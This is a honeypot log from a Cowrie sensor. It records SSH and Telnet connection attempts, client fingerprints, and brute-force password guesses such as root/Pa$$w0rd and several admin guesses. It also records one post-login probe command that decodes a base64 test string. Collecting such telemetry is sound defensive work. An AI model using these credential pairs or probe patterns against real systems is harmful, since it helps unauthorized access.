{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":49680,"dst_ip":"10.17.0.5","dst_port":22,"session":"dff88612a132","protocol":"ssh","message":"New connection: 92.118.39.92:49680 (10.17.0.5:22) [session: dff88612a132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:01:39.979187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:01:39.985193Z","src_ip":"92.118.39.92","session":"dff88612a132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:01:40.086412Z","src_ip":"92.118.39.92","session":"dff88612a132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123","message":"login attempt [ubuntu/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:01:40.566640Z","src_ip":"92.118.39.92","session":"dff88612a132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:01:41.674831Z","src_ip":"92.118.39.92","session":"dff88612a132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.131.220.121","src_port":59522,"dst_ip":"159.203.135.109","dst_port":22,"session":"5352bf2e3ef5","protocol":"ssh","message":"New connection: 3.131.220.121:59522 (159.203.135.109:22) [session: 5352bf2e3ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:02.375231Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:02.379777Z","src_ip":"3.131.220.121","session":"5352bf2e3ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:02.384467Z","src_ip":"3.131.220.121","session":"5352bf2e3ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":51288,"dst_ip":"159.203.135.109","dst_port":22,"session":"9af34e8f38d0","protocol":"ssh","message":"New connection: 85.198.97.85:51288 (159.203.135.109:22) [session: 9af34e8f38d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:02.858614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:02.864310Z","src_ip":"85.198.97.85","session":"9af34e8f38d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:03.001106Z","src_ip":"85.198.97.85","session":"9af34e8f38d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Pa$$w0rd","message":"login attempt [root/Pa$$w0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:03.410825Z","src_ip":"85.198.97.85","session":"9af34e8f38d0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:03.724113Z","src_ip":"85.198.97.85","session":"9af34e8f38d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:03.726721Z","src_ip":"85.198.97.85","session":"9af34e8f38d0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:03.864810Z","src_ip":"85.198.97.85","session":"9af34e8f38d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:03.869527Z","src_ip":"85.198.97.85","session":"9af34e8f38d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":30076,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0e90a3ef418","protocol":"ssh","message":"New connection: 2.57.121.112:30076 (10.17.0.5:22) [session: e0e90a3ef418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:10.325481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:10.329912Z","src_ip":"2.57.121.112","session":"e0e90a3ef418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:10.436419Z","src_ip":"2.57.121.112","session":"e0e90a3ef418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0403","message":"login attempt [admin/0403] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:10.930506Z","src_ip":"2.57.121.112","session":"e0e90a3ef418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040285","message":"login attempt [admin/040285] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:12.038950Z","src_ip":"2.57.121.112","session":"e0e90a3ef418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04021976","message":"login attempt [admin/04021976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:13.148402Z","src_ip":"2.57.121.112","session":"e0e90a3ef418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04011978","message":"login attempt [admin/04011978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:14.256336Z","src_ip":"2.57.121.112","session":"e0e90a3ef418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0322","message":"login attempt [admin/0322] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:15.367508Z","src_ip":"2.57.121.112","session":"e0e90a3ef418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:16.476952Z","src_ip":"2.57.121.112","session":"e0e90a3ef418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.131.220.121","src_port":42658,"dst_ip":"159.203.135.109","dst_port":22,"session":"958603f04cf9","protocol":"ssh","message":"New connection: 3.131.220.121:42658 (159.203.135.109:22) [session: 958603f04cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:22.948204Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:22.953845Z","src_ip":"3.131.220.121","session":"958603f04cf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:22.957649Z","src_ip":"3.131.220.121","session":"958603f04cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":51396,"dst_ip":"159.203.135.109","dst_port":22,"session":"02ae17cc811f","protocol":"ssh","message":"New connection: 139.19.117.129:51396 (159.203.135.109:22) [session: 02ae17cc811f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:30.944062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:30.948696Z","src_ip":"139.19.117.129","session":"02ae17cc811f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:31.045530Z","src_ip":"139.19.117.129","session":"02ae17cc811f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:9e:54:20:5e:30:48:b8:50:ac:53:76:b9:19:13:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+xvyXjpz8OpJU3QWdmFjgeAcL2cEjTBsLENGFLh7BVfwZ+DDxfXObcg7Fn3tnHOVh+W1gY0RARBhDmk1OxbZESaAmDnm4cmpna0xK4YG4MagCpSc/eAB/+Lts24Nt25RD+q2IN9XBq0Bkd74MMPrOR/WcqNz3wWTf5NhhLoixUnaPzxDL8N6rNzU2I0TeR2ZfyyrgE0V1Re+2g93S9xc5UU3UUS4LZfLIb92C6oTjuQQqD9DmaHy9KlApOm4zff0FETZeGfYSPkOQPv4B0lcJWV+l9hPHMCdri3ReVEmdO1BBL4R513pmkfURL5XNIIkMKx4Uy2OVK+M3LTiBOkbFckQLs2h7vgwCH3R+xnmeIqhSP/KPF6cEHd9FSh+qPkew/718DQwLkyNN3/5ekNaGJLQUrrUnc9YDmhtfC+WjYq6mjch5Wh9jl0/bezDCniSKL96qqR/NxAqcOPgV1tos6Xu2VmY+Au4WXDj8D9C670XhcZN3rdUs7Id0jhHtRgU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:9e:54:20:5e:30:48:b8:50:ac:53:76:b9:19:13:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:31.240241Z","src_ip":"139.19.117.129","session":"02ae17cc811f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:9e:54:20:5e:30:48:b8:50:ac:53:76:b9:19:13:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+xvyXjpz8OpJU3QWdmFjgeAcL2cEjTBsLENGFLh7BVfwZ+DDxfXObcg7Fn3tnHOVh+W1gY0RARBhDmk1OxbZESaAmDnm4cmpna0xK4YG4MagCpSc/eAB/+Lts24Nt25RD+q2IN9XBq0Bkd74MMPrOR/WcqNz3wWTf5NhhLoixUnaPzxDL8N6rNzU2I0TeR2ZfyyrgE0V1Re+2g93S9xc5UU3UUS4LZfLIb92C6oTjuQQqD9DmaHy9KlApOm4zff0FETZeGfYSPkOQPv4B0lcJWV+l9hPHMCdri3ReVEmdO1BBL4R513pmkfURL5XNIIkMKx4Uy2OVK+M3LTiBOkbFckQLs2h7vgwCH3R+xnmeIqhSP/KPF6cEHd9FSh+qPkew/718DQwLkyNN3/5ekNaGJLQUrrUnc9YDmhtfC+WjYq6mjch5Wh9jl0/bezDCniSKL96qqR/NxAqcOPgV1tos6Xu2VmY+Au4WXDj8D9C670XhcZN3rdUs7Id0jhHtRgU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:31.243903Z","src_ip":"139.19.117.129","session":"02ae17cc811f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:9e:54:20:5e:30:48:b8:50:ac:53:76:b9:19:13:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+xvyXjpz8OpJU3QWdmFjgeAcL2cEjTBsLENGFLh7BVfwZ+DDxfXObcg7Fn3tnHOVh+W1gY0RARBhDmk1OxbZESaAmDnm4cmpna0xK4YG4MagCpSc/eAB/+Lts24Nt25RD+q2IN9XBq0Bkd74MMPrOR/WcqNz3wWTf5NhhLoixUnaPzxDL8N6rNzU2I0TeR2ZfyyrgE0V1Re+2g93S9xc5UU3UUS4LZfLIb92C6oTjuQQqD9DmaHy9KlApOm4zff0FETZeGfYSPkOQPv4B0lcJWV+l9hPHMCdri3ReVEmdO1BBL4R513pmkfURL5XNIIkMKx4Uy2OVK+M3LTiBOkbFckQLs2h7vgwCH3R+xnmeIqhSP/KPF6cEHd9FSh+qPkew/718DQwLkyNN3/5ekNaGJLQUrrUnc9YDmhtfC+WjYq6mjch5Wh9jl0/bezDCniSKL96qqR/NxAqcOPgV1tos6Xu2VmY+Au4WXDj8D9C670XhcZN3rdUs7Id0jhHtRgU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:9e:54:20:5e:30:48:b8:50:ac:53:76:b9:19:13:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:31.345255Z","src_ip":"139.19.117.129","session":"02ae17cc811f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:9e:54:20:5e:30:48:b8:50:ac:53:76:b9:19:13:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+xvyXjpz8OpJU3QWdmFjgeAcL2cEjTBsLENGFLh7BVfwZ+DDxfXObcg7Fn3tnHOVh+W1gY0RARBhDmk1OxbZESaAmDnm4cmpna0xK4YG4MagCpSc/eAB/+Lts24Nt25RD+q2IN9XBq0Bkd74MMPrOR/WcqNz3wWTf5NhhLoixUnaPzxDL8N6rNzU2I0TeR2ZfyyrgE0V1Re+2g93S9xc5UU3UUS4LZfLIb92C6oTjuQQqD9DmaHy9KlApOm4zff0FETZeGfYSPkOQPv4B0lcJWV+l9hPHMCdri3ReVEmdO1BBL4R513pmkfURL5XNIIkMKx4Uy2OVK+M3LTiBOkbFckQLs2h7vgwCH3R+xnmeIqhSP/KPF6cEHd9FSh+qPkew/718DQwLkyNN3/5ekNaGJLQUrrUnc9YDmhtfC+WjYq6mjch5Wh9jl0/bezDCniSKL96qqR/NxAqcOPgV1tos6Xu2VmY+Au4WXDj8D9C670XhcZN3rdUs7Id0jhHtRgU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:31.348819Z","src_ip":"139.19.117.129","session":"02ae17cc811f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:40.946531Z","src_ip":"139.19.117.129","session":"02ae17cc811f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":12628,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f4a861bb7f6","protocol":"ssh","message":"New connection: 45.227.254.170:12628 (10.17.0.5:22) [session: 7f4a861bb7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:55.232408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:55.237536Z","src_ip":"45.227.254.170","session":"7f4a861bb7f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:55.340942Z","src_ip":"45.227.254.170","session":"7f4a861bb7f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:02:55.786058Z","src_ip":"45.227.254.170","session":"7f4a861bb7f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.234.73.185","src_port":49611,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc0bffd32a9d","protocol":"telnet","message":"New connection: 71.234.73.185:49611 (10.17.0.5:23) [session: cc0bffd32a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:03:01.771950Z"}
{"eventid":"cowrie.session.closed","duration":13.328546524047852,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:03:15.100392Z","src_ip":"71.234.73.185","session":"cc0bffd32a9d","protocol":"telnet"}
